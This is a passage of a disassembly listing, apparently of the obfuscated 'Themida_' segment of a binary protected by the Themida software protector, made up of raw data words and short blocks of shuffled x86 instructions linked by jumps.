		dd 8B042474h, 0C4812414h, 4, 5C24048Fh,	4AB0F66h, 80E99C24h
		dd 59000020h, 2A5668h, 24148900h, 0EC83E289h, 241C8904h
		dd 785EF0BBh, 98C3810Fh, 0F760E819h, 0E94343DBh, 0FFFF949Ah
		dd 0E905E5C1h, 0FFFFCE3Eh, 0E930FF66h, 0FFFF89B9h, 0D8F6C0FEh
		dd 4E9EF2Ch, 0FFFFFFFEh, 815D2434h, 4C4h, 0E359E900h, 2668FFFFh
		dd 0E9000001h, 0FFFF90A9h, 0FF8990E9h, 24248BFFh, 4AB0F66h
		dd 82E99C24h, 0BAFFFF89h, 1A21294h, 8244481h, 5BA62C8Dh
		dd 8245401h, 8246C81h, 5BA62C8Dh, 24048B5Ah, 4C481h, 5580000h
		dd 26FB3BC6h, 8904EC83h, 4AE9241Ch, 0FF000011h,	0E9592434h
		dd 0FFFFAC48h, 0C0B60F5Ah, 24148B66h, 575D5455h, 4BFh
		dd 47BF5700h, 0E95FAA48h, 0FFFFBA99h, 0F4F3815Bh, 8945CC4Bh
		dd 0E1C15BD9h, 2DE18102h, 0E90EE423h, 10E2h, 9D1C77FFh
		dd 24041158h, 8903E99Ch, 34FFFFFFh, 68535A24h, 6DAh, 83242489h
		dd 5B042404h, 35D5BF57h, 0EF8734F4h, 0EF87D5F7h, 76AFE781h
		dd 0E7C141C4h, 0B4C78103h, 1F7FDEEh, 2434FFFBh,	4C4835Fh
		dd 4B951h, 0CB010000h, 592434FFh, 4C481h, 1C870000h, 0B2E95C24h
		db 88h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54B8F7:				; CODE XREF: Themida_:0054743Fj
		add	esp, 4
		add	ecx, 9EB5EC1h
		pop	esi
		and	eax, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	eax
		jmp	loc_54891F
; ---------------------------------------------------------------------------
		dw 0E289h
		dd 4C281h, 0E9530000h, 0FFFFAE5Bh, 240C8966h, 6AE913B1h
		dd 1000010h, 0F1B951C3h, 0C1100057h, 0D9F708E1h, 874BD987h
		dd 0CCC2E9D9h, 0C381FFFFh, 2F5B9D4h, 59E9DF89h,	81FFFFB9h
		dd 57D2242Ch, 0A8E936FDh, 57000044h, 0FFA339E9h, 4C581FFh
		dd 0E9000000h, 2AB2h, 8324048Bh, 4EE904C4h, 6600001Dh
		dd 5524048Bh, 2434FF54h, 4C4835Dh, 4C581h, 50560000h, 0EE281CB8h
		dd 58C68947h, 6D26E681h, 0B9513512h, 774162h, 0C159CE31h
		dd 0C68304E6h, 63E95301h, 0F7000049h, 0E99C241Ch, 0FFFF87E9h
		dd 240C8B66h, 73A66850h, 24890000h, 24048124h, 4, 0E9515758h
		dd 0FFFFA6DFh
; ---------------------------------------------------------------------------


loc_54B9DC:				; CODE XREF: Themida_:00548590j
		mov	[esp], ebp
		mov	ebp, 0F53BF57Ah
		add	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		mov	ebp, eax
		pop	eax
		and	eax, ebp
		pop	ebp
		shr	eax, 0Bh
		jmp	loc_54E8F0
; ---------------------------------------------------------------------------
		dw 1431h
		dd 24143324h, 0C885665Ch, 879FE99Ch, 0FE68FFFFh, 0FF000000h
		dd 685A2434h, 35CBh, 54242C89h,	0E92434FFh, 49E3h, 0E9241430h
		dd 0FFFF877Dh, 81F5015Ah, 0CF60D6C5h, 0C5835E4Fh, 242C3302h
		dd 3BB0E9h, 242C3100h, 2483E9h,	67EE8100h, 5736EA07h, 565E1CBFh
		dd 4EFC162h, 0FFFFC781h, 0D7F7FFFFh, 0C5F0E950h, 1E68FFFFh
		dd 89000078h, 1FE92404h, 0FFFFFF93h, 148B2434h,	4C48324h
		dd 4C481h, 50550000h, 0C97C73B8h, 4613055Ah, 0BF573138h
		dd 4AE10CE3h, 1552E9h, 81E18900h, 4C1h,	4E98300h, 5C240C87h
		dd 81243489h, 4ECh, 241C8900h, 8324348Bh, 4B6804C4h, 8900001Eh
		dd 0FF582434h
		db 34h,	24h, 5Eh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], edx
		push	0B1235A9h
		pop	edx
		jmp	loc_5486CD
; ---------------------------------------------------------------------------
		dd offset dword_580168
		align 10h
		dd 0E9241489h, 0FFFFC286h, 81E38953h, 4C3h, 0A9C2E900h
		dd 8B59FFFFh, 2E9243Ch,	1FFFFCAh, 0C381FBh, 0E978C176h
		dd 2D35h, 0DFE9E801h, 81FFFF99h, 0A6ED65C6h, 5EF7896Ch
		dd 2832E9h, 519F0400h, 0FFCB8BE9h, 0E68956FFh, 4C681h
		dd 0EE830000h, 24348704h, 0FFC14CE9h, 242C8BFFh, 0FFB990E9h
		dd 3790BBFFh, 0DE317524h, 3843E9h, 48B6600h, 0E662E924h
		dd 0EED1FFFFh, 0C681D6F7h, 920CFA29h, 4D6E9h, 83D2F700h
		dd 0C281FFEAh, 2FCB2E0Fh, 34EAE9h, 0B6B700h, 112C5BFAh
		dd 0FFC8EBE9h, 0E9C829FFh, 562h, 83242489h, 5D042404h
		dd 8904EC83h, 0BE56241Ch, 495D13DDh, 26C68146h,	56B6A2ECh
		dd 45243481h, 5B218E54h, 5445F381h, 15E218Eh, 0C5815BDDh
		dd 4, 8B242C87h, 0C4812424h, 4,	9C2404FFh, 0FF85C4E9h
		dd 81C601FFh, 86588EEEh, 148B5858h, 4C48124h, 87000000h
		dd 525C2434h, 15AAE9h, 0E8E98100h, 299D4E18h, 0FEF8E9CAh
		dd 0E950FFFFh, 0BF8h
; ---------------------------------------------------------------------------


loc_54BC14:				; CODE XREF: Themida_:00548543j
		shl	eax, cl
		jmp	loc_54F5D8
; ---------------------------------------------------------------------------
		db 55h
		dd 4BDh, 5DE80100h, 8B240487h, 0E8C12424h, 68C8310Eh, 4BB0h
		dd 55240489h, 1535E9h, 66C82800h, 83240C8Bh, 1A2C02C4h
		dd 0B252D828h, 0E97A041Ah, 0FFFF9A47h, 8B240487h, 148B2424h
		dd 4C48324h, 3AB0BB53h,	35E96758h, 68FFFFD2h, 48362A69h
		dd 434B435Bh, 0E97BF57h, 0F7811379h, 5B4F24F1h,	1216E9h
		dd 0F7815800h, 2DB220FFh, 0C781D7F7h, 0E1CDA39Ch, 575FF921h
		dd 2FBBB53h, 0F3816504h, 7D7319F7h, 0EB81D3F7h,	0BABB9D0Ch
		dd 1C8B5F53h, 0E6895624h, 4C681h, 0C6810000h, 4, 0E9243487h
		dd 0FFFF9C5Ah, 0DAE95D5Ch, 55FFFF84h, 293DE9h, 48F5D00h
		dd 24248B24h, 4A30F66h,	9AE99C24h
		db 0B1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54BCE7:				; CODE XREF: Themida_:00546951j
		add	esp, 4
		jmp	loc_54FDCB
; ---------------------------------------------------------------------------
		db 83h
		dd 0D4E904C4h, 53FFFFB9h, 7651CABBh, 0D78EE911h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54BD02:				; CODE XREF: Themida_:0054ECCEj
		push	edi
		mov	edi, 4
		add	ecx, edi
		jmp	loc_549F61
; ---------------------------------------------------------------------------
		db 0ADh
		dd 741168h, 240C8900h, 0EC517D68h, 240C8B66h, 4C481h, 65680000h
		dd 8900004Bh, 0E8BA2414h, 29577458h, 3F055AD0h,	296C4452h
		dd 523F2DC8h, 0E8056C44h, 59577458h, 9343B305h,	6C592D41h
		dd 52E94250h, 66000043h, 6802B60Fh, 732Ch, 0E9241489h
		dd 0FFFFEEFBh, 0BD242C89h, 73028F4Ch, 289F68h, 242C8900h
		dd 21242C81h, 0E95E704Bh, 0FFFFDF2Dh
; ---------------------------------------------------------------------------


loc_54BD84:				; CODE XREF: Themida_:00547F86j
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		push	esi
		push	ebp
		push	104F6A27h
		jmp	loc_54F56C
; ---------------------------------------------------------------------------
		dw 0C87h
		dd 0C8015C24h, 0E904EC83h, 2F2Bh, 0D5E9505Fh, 5700000Fh
		dd 0E4600968h, 0F7815F26h, 53A50DA7h, 0B4E9DFF7h, 8B000010h
		dd 8CE92424h, 0C1000007h, 0E78108E7h, 4475569Eh, 0DD0CF81h
		dd 60E90E07h, 81000024h, 4ECh, 242C8900h, 0EC81E589h, 4
		dd 0E9240C89h, 0FFFFF48Fh, 24048F5Dh, 0FFBD3CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54BE01:				; CODE XREF: Themida_:0054F1E4j
		dec	esi
		xor	esi, 41A96315h
		jmp	loc_548162
; ---------------------------------------------------------------------------
		db 54h,	58h, 5
		dd 4, 42Dh, 3CAAE900h, 0F5800000h, 0E9506622h, 0FFFFAAB2h
		dd 0E904EF83h, 4244h, 0C005EAC0h, 0C2FE04E2h, 2842B551h
		dd 0FFE959EAh, 81FFFFCBh, 4C6h,	0CDF6E900h, 34FFFFFFh
		dd 71CE924h, 0C7810000h, 4, 4B850h, 0C7810000h,	73CB482Fh
		dd 2CEFE9h, 0FAC28100h,	810BED5Bh, 753EE4C2h, 1F98E930h
		dd 0BD550000h, 543B7F2Eh, 0E66783B9h, 5DE93161h, 2316BB53h
		dd 52E950B6h
		db 30h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54BE97:				; CODE XREF: Themida_:0054E294j
		shr	edx, 1
		xor	edx, 637E7D31h
		push	ebx
		jmp	loc_54B4C3
; ---------------------------------------------------------------------------
		dd offset dword_457444+1B724h
		align 2
		dw 489h
		dd 5E08924h, 4,	0D6685051h, 5872205Dh, 2414F750h, 8732E958h
		dd 48BFFFFh, 4596E924h,	0C5810000h, 4, 9744E952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54BEDA:				; CODE XREF: Themida_:00548F8Dj
		sub	ebx, 2B4F6789h
		xor	ebx, 7474267Dh
		add	edx, ebx
		pop	ebx
		push	eax
		push	ebp
		push	esi
		push	1D8353Ah
		pop	esi
		shl	esi, 1
		add	esi, 0FC4F9590h
		mov	ebp, esi
		pop	esi
		mov	eax, ebp
		pop	ebp
		add	edx, eax
		pop	eax
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		jmp	loc_545BF9
; ---------------------------------------------------------------------------


loc_54BF0E:				; CODE XREF: Themida_:00547D0Aj
		sub	esp, 4
		mov	[esp], edx
		push	ebx
		mov	bh, 0C1h
		jmp	loc_54B6DA
; ---------------------------------------------------------------------------
		db 81h
		dd 92C2BF2h, 8A5FE944h,	0CA89FFFFh, 0FFA67FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54BF31:				; CODE XREF: Themida_:0054E826j
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		add	esp, 4
		jmp	loc_5473D5
; ---------------------------------------------------------------------------
		dd 0E9243C8Bh, 329h, 17C7C781h,	0EF81583Ah, 6A6A37D4h
		dd 0C781CF01h, 6A6A37D4h, 17C7BA52h, 0D729583Ah, 0E8D5E95Ah
		dd 1C89FFFFh, 770ABB24h, 40E91F59h, 5BFFFFB1h, 0E924148Bh
		dd 0FFFFEE2Fh
; ---------------------------------------------------------------------------


loc_54BF88:				; CODE XREF: Themida_:00548468j
		mov	ch, dh
		mov	al, ch
		pop	ecx
		jmp	loc_548B33
; ---------------------------------------------------------------------------
		dw 0E204h
		dd offset dword_457444+0EB24h
		dd 241C8900h, 99E906B7h, 0FFFFFFCCh, 5F042474h,	5C24048Fh
		dd 1FE95557h
		db 0D0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54BFB3:				; CODE XREF: Themida_:0054ED3Bj
		pop	edi
		add	eax, ebx
		sub	eax, 703157A3h
		mov	ebx, [esp]
		jmp	loc_54D620
; ---------------------------------------------------------------------------
		db 0BEh
		dd 25C21645h, 1641EE81h, 0F10125C2h, 4B8505Eh, 0E9000000h
		dd 0FFFFEA7Eh, 4BBh, 0E9DF0100h, 13DDh,	2024248Bh, 0E99C2404h
		dd 0FFFF81B5h, 3A592DB8h, 0F933573h, 0C7357176h, 2D527D33h
		dd 0FBBC2322h, 0FFE81FE9h, 87D1F7FFh, 53DFF7CFh, 0B9AF16BBh
		dd 5BDF29A7h, 8DE9FD01h, 83FFFFE4h, 0C8904ECh, 3FEF6824h
		dd 3C890000h, 4352BF24h, 0EFC12B56h, 5CBE5602h,	0E9212E34h
		dd 0FFFFA988h, 4EC81h, 0F0E90000h, 29000016h, 0E2C15EF2h
		dd 13E94A03h, 5FFFF83h,	6BD81741h, 164F4005h, 2DD8010Ah
		dd 0A164F40h, 0E904EC83h, 2E3Bh, 81C2295Bh, 4C2874EAh
		dd 8127E912h, 2C31FFFFh, 242C3324h, 8924248Bh, 0DF89243Ch
		dd 8904EC83h, 48B243Ch,	0A28FE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54C09E:				; CODE XREF: Themida_:005475FEj
		sub	esp, 4
		jmp	loc_546153
; ---------------------------------------------------------------------------
		dw 0E189h
		dd 4C181h, 0C1810000h, 4, 0E9240C87h, 108Dh, 1227E981h
		dd 875F3CC4h, 895C240Ch, 0EC81242Ch, 4,	0E9241C89h, 0FFFFD261h
; ---------------------------------------------------------------------------


loc_54C0D8:				; CODE XREF: Themida_:0054CA49j
		dec	bl
		sub	bl, 55h
		sub	al, bl
		pop	ebx
		add	al, 47h
		add	al, bl
		sub	al, 47h
		add	al, 0CCh
		add	al, 0B7h
		jmp	loc_54A2C5
; ---------------------------------------------------------------------------
		db 5Ch
		dd 81241C8Bh, 4C4h, 0B1FBE900h,	559FFFFh, 0A02F2262h, 200BE9h
		dd 0F4930500h, 0C101C684h, 5024048Bh, 0FFDCF1E9h, 0E28952FFh
		dd 4C281h, 0C2810000h, 4, 5C241487h, 0FFBA4FE9h, 0F7FB31FFh
		dd 0A962E9DBh, 48BFFFFh, 28B5E924h, 52680000h, 8B68987Ah
		dd 0C4812434h, 4, 5708EEC1h, 9F11A4BFh,	0E9FE011Dh, 20BDh
		dd 4C381h, 0C3810000h, 4, 5C241C87h, 7C67BD55h,	0EDC12D1Eh
		dd 0EAF58104h, 4D12971Dh, 12FCE9h, 0E9555800h, 0FFFF8258h
		dd 5124248Bh, 0C181E189h, 4, 25D4E9h, 3C8B5400h, 4C48324h
		dd 7ACAB850h, 0CE350D29h, 810D297Ah, 8F4546EFh,	0EA17E901h
		dd 0C483FFFFh, 4C48304h, 313BE9h, 0D8296600h, 132D0566h
		dd 6BBA6652h, 0C2816651h, 42663F26h, 13F28166h,	0F281666Ah
		dd 4DE9B9ADh, 57FFFFE6h, 0C781E789h, 4,	4C781h,	0CEE90000h
		dd 59000026h, 0E92434FFh, 1BEAh, 814BDBF7h, 4FAA39EBh
		dd 5BDA8902h, 815AD031h, 7877F0EAh, 81C22950h, 7877F0C2h
		dd 0C2815850h, 1F650CF3h, 0FFADE3E9h, 4EC81FFh,	89000000h
		dd 0ADE9240Ch
		db 2Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54C23B:				; CODE XREF: Themida_:0054A1AAj
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		pop	dword ptr [esp]
		pop	esp
		push	dword ptr [esp]
		mov	ecx, [esp]
		jmp	loc_54ED59
; ---------------------------------------------------------------------------
		dd 0DE133D68h, 0C3815B39h, 1C9F25E3h, 0FFEE7AE9h, 4C481FFh
		dd 51000000h, 2B9h, 59C80100h, 3917E9h,	4C48300h, 2BBD5547h
		dd 813D5E41h, 1E66A1CDh, 51E94D49h, 0B6FFFFF5h,	0E5C9E99Fh
		dd 0E180FFFFh, 0A5B35362h, 802AEB80h, 0D9282FE9h, 8B2FC180h
		dd 0C481241Ch, 4, 30F3F180h, 9514E9C8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54C2BA:				; CODE XREF: Themida_:0054D647j
		add	edx, 4
		push	5498h
		mov	[esp], eax
		mov	eax, 4
		add	edx, eax
		pop	eax
		push	edx
		push	dword ptr [esp+4]
		mov	edx, [esp]
		push	6B98h
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_54AAFC
; ---------------------------------------------------------------------------
		db 5Fh,	81h, 0EDh
		dd 877EADC7h, 295DE829h, 8BD6E9D8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54C2FE:				; CODE XREF: Themida_:0054C4F4j
		pop	edi
		jmp	loc_54D6A0
; ---------------------------------------------------------------------------
		dd 4BAh, 0E9D70100h, 340Eh
; ---------------------------------------------------------------------------


loc_54C310:				; CODE XREF: Themida_:0054F60Cj
		pop	edx
		jmp	loc_54D4FA
; ---------------------------------------------------------------------------


loc_54C316:				; CODE XREF: Themida_:00546FA3j
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ecx
		mov	cl, 4Fh
		add	cl, 0D8h
		push	ax
		mov	al, 0F0h
		xor	al, 89h
		add	cl, 90h
		sub	cl, al
		sub	cl, 90h
		jmp	loc_54E0B2
; ---------------------------------------------------------------------------
		db 0F7h, 0D3h, 51h
		dd 30054BB9h, 2E1C121h,	2517E9h, 24248B00h, 0B8E95350h
		dd 81FFFFF2h, 992A71EEh, 81C60178h, 992A71C6h, 44BB5378h
		dd 0F7073A68h, 0AC44E9DBh, 34FFFFFFh, 0B2AFE924h, 5D5AFFFFh
		dd 2AD9E959h, 34870000h, 24248B24h, 81E28952h, 4C2h, 4C28300h
		dd 0FFCA7CE9h, 0FFC130FFh, 48B2434h, 4C48124h, 51000000h
		dd 35A5E9h, 0E9DDF600h,	0FFFFDE72h, 4C4815Eh, 81000000h
		dd 4ECh, 241C8900h, 0C381E389h,	4, 2F87E9h
		db 0
; ---------------------------------------------------------------------------


loc_54C3C9:				; CODE XREF: Themida_:00545581j
		add	dword ptr [esp], 2CE9422Eh
		pop	eax
		push	ebx
		mov	ebx, 51D43838h
		sub	ebx, 24EAF60Ah
		add	eax, 3A0D78CBh
		sub	eax, ebx
		sub	eax, 3A0D78CBh
		jmp	loc_5481B2
; ---------------------------------------------------------------------------
aXs9		db 'X9',0Dh,0
		align 4
		dd 61CEDABFh, 0CC38127h, 15E6F37h, 0C3CFE9FBh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54C406:				; CODE XREF: Themida_:00548408j
		mov	[esp], eax
		push	ebp
		pop	eax
		pop	ebp
		push	2538h
		jmp	loc_54E2DF
; ---------------------------------------------------------------------------
		dw 3489h
		dd 0B3EFE924h, 3C89FFFFh, 87E95224h, 66FFFFD4h,	68240C8Bh
		dd 32E3h, 54241489h, 0EDB9515Ah, 5231D761h, 0D761E9BAh
		dd 5AD12931h, 6679EA81h, 0CA010097h, 6679C281h,	34FF0097h
		dd 6EE95924h, 68000030h, 7909h,	0BD242C89h, 71EA3560h
		dd 8105EDC1h, 0E10C0DC5h, 0ACC58109h, 81617155h, 1D69E9F5h
		dd 285EE928h, 815D0000h, 22178C3h, 0A6DDE96Ah, 0F201FFFFh
		dd 2414875Eh, 0F724248Bh, 3269E9F1h, 0C3810000h, 0C705572h
		dd 90BBA52h, 0D3290FFCh, 0FFA3C3E9h, 7CF3E9FFh,	2C81FFFFh
		dd 9488124h, 24348B1Dh,	0E904C483h, 0FFFF9BDDh
; ---------------------------------------------------------------------------


loc_54C4C8:				; CODE XREF: Themida_:00549866j
		xchg	edi, esi
		jmp	loc_54FA32
; ---------------------------------------------------------------------------
		db 89h
		dd 0BE56240Ch, 0EB40CE6h, 0F7E6D146h, 31EE81DEh, 83E297E6h
		dd 6EE904ECh
		db 0D8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54C4EB:				; CODE XREF: Themida_:0054F14Dj
		push	ebp
		jmp	loc_544229
; ---------------------------------------------------------------------------


loc_54C4F1:				; CODE XREF: Themida_:005462FAj
		pop	ecx
		xor	eax, edi
		jmp	loc_54C2FE
; ---------------------------------------------------------------------------


loc_54C4F9:				; CODE XREF: Themida_:0054795Bj
		add	ebp, ebx
		pop	ebx
		push	eax
		mov	eax, 4
		add	ebp, eax
		pop	eax
		xchg	ebp, [esp]
		jmp	loc_54E4D9
; ---------------------------------------------------------------------------
		db 66h,	0Fh, 0B6h
		dd 0DA6866CCh, 0C896651h, 0B60F6624h, 9C5166C8h, 0FF7C84E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54C525:				; CODE XREF: Themida_:0054DFD8j
		mov	esi, 409327CDh
		add	ebx, esi
		pop	esi
		jmp	loc_544DDC
; ---------------------------------------------------------------------------
		dw 2166h
		dd 665D66EAh, 4E2E281h,	52B96651h, 0E9816662h, 2966A00Eh
		dd 296659CAh, 2D665AD0h, 6EE9132Dh, 81FFFFFCh, 4C5h, 2C58300h
		dd 4EC81h, 2C890000h, 2474FF24h, 97B0E904h, 34FFFFFFh
		dd 0BDEE924h, 0C5810000h, 586D19A7h, 0E6E9D5F7h
		db 0C5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54C587:				; CODE XREF: Themida_:005441AAj
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_54D64C
; ---------------------------------------------------------------------------
aZh7y		db 'Zh7Y',0
		dw 8900h
		dd 74FF241Ch, 8F5B0424h, 248B2404h, 0E9F76624h,	0FFD836E9h
		dd 4EC81FFh, 89000000h,	0EC81242Ch, 4, 0E9242489h, 0FFFFEA2Ah
		dd 0AFE9DBF7h, 5AFFFFDCh, 21B2E9h, 68E08900h, 39BCh, 53243489h
		dd 0FFCD68E9h, 24248BFFh, 2404FF66h, 7BB7E99Ch,	0F755FFFFh
		dd 40E92414h, 83FFFFAAh, 0B60F04C4h, 8734FFC0h,	0FFDA3FE9h
		dd 5B5453FFh, 0FF954DE9h, 343166FFh, 7B8FE924h,	248BFFFFh
		dd 0F8EB8024h, 0C380D328h, 24148BF8h, 0FFCEECE9h, 0F5ADBAFFh
		dd 53E9DD1Ah, 61FFFFCDh, 0C8B66C3h, 69F26824h, 3C890000h
		dd 68E78924h, 1247h, 68241C89h,	4, 0BD63E95Bh, 1C89FFFFh
		dd 30AABB24h, 0DAE96B46h, 31FFFFD5h, 31CE31F1h,	43F181F1h
		dd 0E98E90FDh, 0FFFF91CFh
; ---------------------------------------------------------------------------


loc_54C678:				; CODE XREF: Themida_:00544DB8j
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], esi
		push	edi
		mov	edi, 1E2E0B7Ch
		jmp	loc_54F5C5
; ---------------------------------------------------------------------------
aPsr		db 'Pr;',0
		align 2
		dw 665Ch
		dd 5324048Bh, 0BE565B54h, 4, 0D5E9F301h, 55000033h, 5404EC83h
		dd 8124048Fh, 42404h, 2C8B0000h, 0DCEDE924h, 0D5B0FFFFh
		dd 18E97B34h, 53000039h, 46515ABBh, 8ADBE95Eh, 8951FFFFh
		dd 4C181E1h, 83000000h,	0C8704C1h, 38DBE924h, 0CB010000h
		dd 83240C8Bh, 38B04C4h,	83241C8Bh, 0EC8304C4h, 241C8904h
		dd 4EC81h, 2C890000h, 16824h, 685D0000h, 298Ah,	0E9241489h
		dd 0FFFFDBE9h, 2336F181h, 77E97D23h, 0Dh, 0CB005BD9h, 83240C8Bh
		dd 78E904C4h, 87FFFF90h, 5053241Ch, 0FFE74BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54C749:				; CODE XREF: Themida_:00546666j
		xchg	edx, [esp]
		pop	esp
		jmp	loc_54EBB0
; ---------------------------------------------------------------------------
		dw 0F901h
		dd 2E27E981h, 875F177Dh, 0E7E9240Ch, 5CFFFFEEh,	0FF7A40E9h
		dd 1EC381FFh, 13E58DCh,	241C8BDEh, 81E28952h, 4C2h, 4C28300h
		dd 5C241487h, 0F3CBE953h, 0E959FFFFh, 184Dh
; ---------------------------------------------------------------------------


loc_54C790:				; CODE XREF: Themida_:0054CD77j
		xor	esi, [esp]
		pop	esp
		btc	[esp], ax
		pushf
		jmp	loc_5441A9
; ---------------------------------------------------------------------------
		db 51h
		dd 268h, 0CD295900h, 53240C8Bh,	0FF8B7FE9h, 5AD601FFh
		dd 0FFC2BBE9h, 4C581FFh, 81000000h, 4EDh, 242C3300h, 0FFF8B5E9h
		dd 5FFD29FFh, 242C8758h, 0FF7CEDE9h, 2434FFFFh,	6685558h
		dd 0E9000037h, 0FFFFF3B4h, 2601E953h, 0EF010000h, 1646E95Dh
		dd 57210000h, 8516E91Ch, 0E5C1FFFFh, 0ECACE906h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54C806:				; CODE XREF: Themida_:005445D8j
		pop	esp
		jmp	loc_54E976
; ---------------------------------------------------------------------------
		dd 12454F6h, 8324048Bh,	0ECC004C4h, 1C48005h, 5D0D68h
		dd 24148900h, 88E18851h, 0DEF659CEh, 148BF488h,	4C48324h
		dd 0E90FF480h, 26E1h
; ---------------------------------------------------------------------------


loc_54C83C:				; CODE XREF: Themida_:00546695j
		mov	ebx, 76E45F70h
		mov	ecx, ebx
		pop	ebx
		sub	ecx, 3C054AF1h
		xor	ecx, 15CEF9A0h
		sub	eax, 10111468h
		add	eax, ecx
		add	eax, 10111468h
		mov	ecx, [esp]
		push	ecx
		push	esp
		push	dword ptr [esp]
		jmp	loc_54DF9B
; ---------------------------------------------------------------------------


loc_54C869:				; CODE XREF: Themida_:0054597Cj
		pop	esi
		sub	ecx, edx
		mov	edx, [esp]
		jmp	loc_5454F5
; ---------------------------------------------------------------------------
		dd 0C380C3FEh, 30C0B41Bh, 8D685BDCh, 8900007Ah,	0E2882414h
		dd 0E9D48850h, 0FFFFED5Eh, 81E78957h, 4C7h, 4C78300h, 5C243C87h
		dd 795068h, 9378E900h, 0C581FFFFh, 4, 274268h, 24148900h
		dd 6A4664BAh, 7EAC113h,	0FF93D2E9h, 242C89FFh, 32426CBDh
		dd 0FD20E963h, 815AFFFFh, 5B1CFCF3h, 0BC3815Dh,	0F72C6810h
		dd 79ADE9D3h, 815DFFFFh, 9061A2C3h, 0B2F7E937h,	74FFFFFFh
		dd 2EE90424h
		db 0Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54C8FB:				; CODE XREF: Themida_:0054AFDAj
		pop	edx
		jmp	loc_54A61D
; ---------------------------------------------------------------------------
		db 1, 0FEh, 8Bh
		dd 0C483243Ch, 0AB11E904h, 5721FFFFh, 24148B1Ch, 0FFCF7DE9h
		dd 24148AFFh, 5E08950h,	4, 0FFE112E9h, 82BD55FFh, 810B4767h
		dd 997496E5h, 683Bh, 2C290000h,	0DDF75D24h, 7FA2BE56h
		dd 98E97449h, 83FFFF9Ah, 0F82D01C0h, 5204546h, 68710F4Ah
		dd 26E9C789h, 5CFFFFF3h, 4EC81h, 34890000h, 0CB2AE924h
		dd 8159FFFFh, 0A246E2EEh, 0B611E92Dh, 0B850FFFFh, 10D827F2h
		dd 8158C131h, 4ECh, 243C8900h, 6EFBBB53h, 0EBC171EBh, 8EBC107h
		dd 0FFEFADE9h, 0A7C180FFh, 0FFF298E9h, 63B3BBFFh, 0EB81653Ah
		dd 633A63B3h, 0FFA442E9h, 3C77FFFFh, 69242C81h,	587DD10Fh
		dd 0EAB68h, 243C8900h, 2620BD55h, 0F74D6DFFh, 27C581DDh
		dd 0BF823329h, 77AE7129h, 8304E7C1h, 0DFF701C7h, 0E4E9D7F7h
		db 94h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54C9EB:				; CODE XREF: Themida_:0054591Dj
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		push	ebp
		jmp	loc_548906
; ---------------------------------------------------------------------------
		dw 2D5Bh
		dd 10D03704h, 0BA52C801h, 0F82751Ch, 0C1E8C281h, 4E9014Dh
		dd 88FFFF8Dh, 5BD988D3h, 354A68h, 187EE900h, 0F7810000h
		dd 9EA7C72Ah, 3C8BF901h, 4C48324h, 5C240C87h, 9C2424D3h
		dd 0FF776CE9h, 0A1E95EFFh
		db 0C2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54CA43:				; CODE XREF: Themida_:005475D4j
		push	ebx
		mov	bl, 7Bh
		and	bl, 0A6h
		jmp	loc_54C0D8
; ---------------------------------------------------------------------------
		dw 0F729h
		dd 8124348Bh, 4C4h, 5FF98900h, 0C8BC821h, 4C48124h, 0C1000000h
		dd 0C83108E8h, 4EC8350h, 0FF240489h, 58042474h,	0FFCFBFE9h
		dd 5EF289FFh, 0E2C1D2F7h, 0CEB85006h, 254F4177h, 19FF30AAh
		dd 240CFF50h, 12B95158h, 81034D70h, 71E3C0E9h, 59C8019Eh
		dd 0E958C229h, 39CCh, 0C381E389h, 4, 8704EB83h,	248B241Ch
		dd 48F5424h, 24048124h,	4, 0B645E95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54CACE:				; CODE XREF: Themida_:0054CB07j
		mov	ch, dh
		jmp	loc_54A237
; ---------------------------------------------------------------------------


loc_54CAD5:				; CODE XREF: Themida_:00546220j
		pop	eax
		not	dl
		inc	dl
		xor	dl, 0F9h
		xor	dl, 27h
		sub	dl, 41h
		add	bl, dl
		pop	edx
		sub	bl, al
		push	dx
		mov	dh, 7Ch
		sub	bl, dh
		jmp	loc_54A554
; ---------------------------------------------------------------------------


loc_54CAF3:				; CODE XREF: Themida_:0054A877j
		push	edx
		push	ebx
		mov	bl, 32h
		not	bl
		or	bl, 73h
		add	bl, 0BFh
		push	eax
		mov	ah, bl
		mov	dh, ah
		pop	eax
		pop	ebx
		push	ecx
		jmp	loc_54CACE
; ---------------------------------------------------------------------------


loc_54CB0C:				; CODE XREF: Themida_:0054605Aj
		mov	eax, 4
		add	edx, eax
		pop	eax
		xchg	edx, [esp]
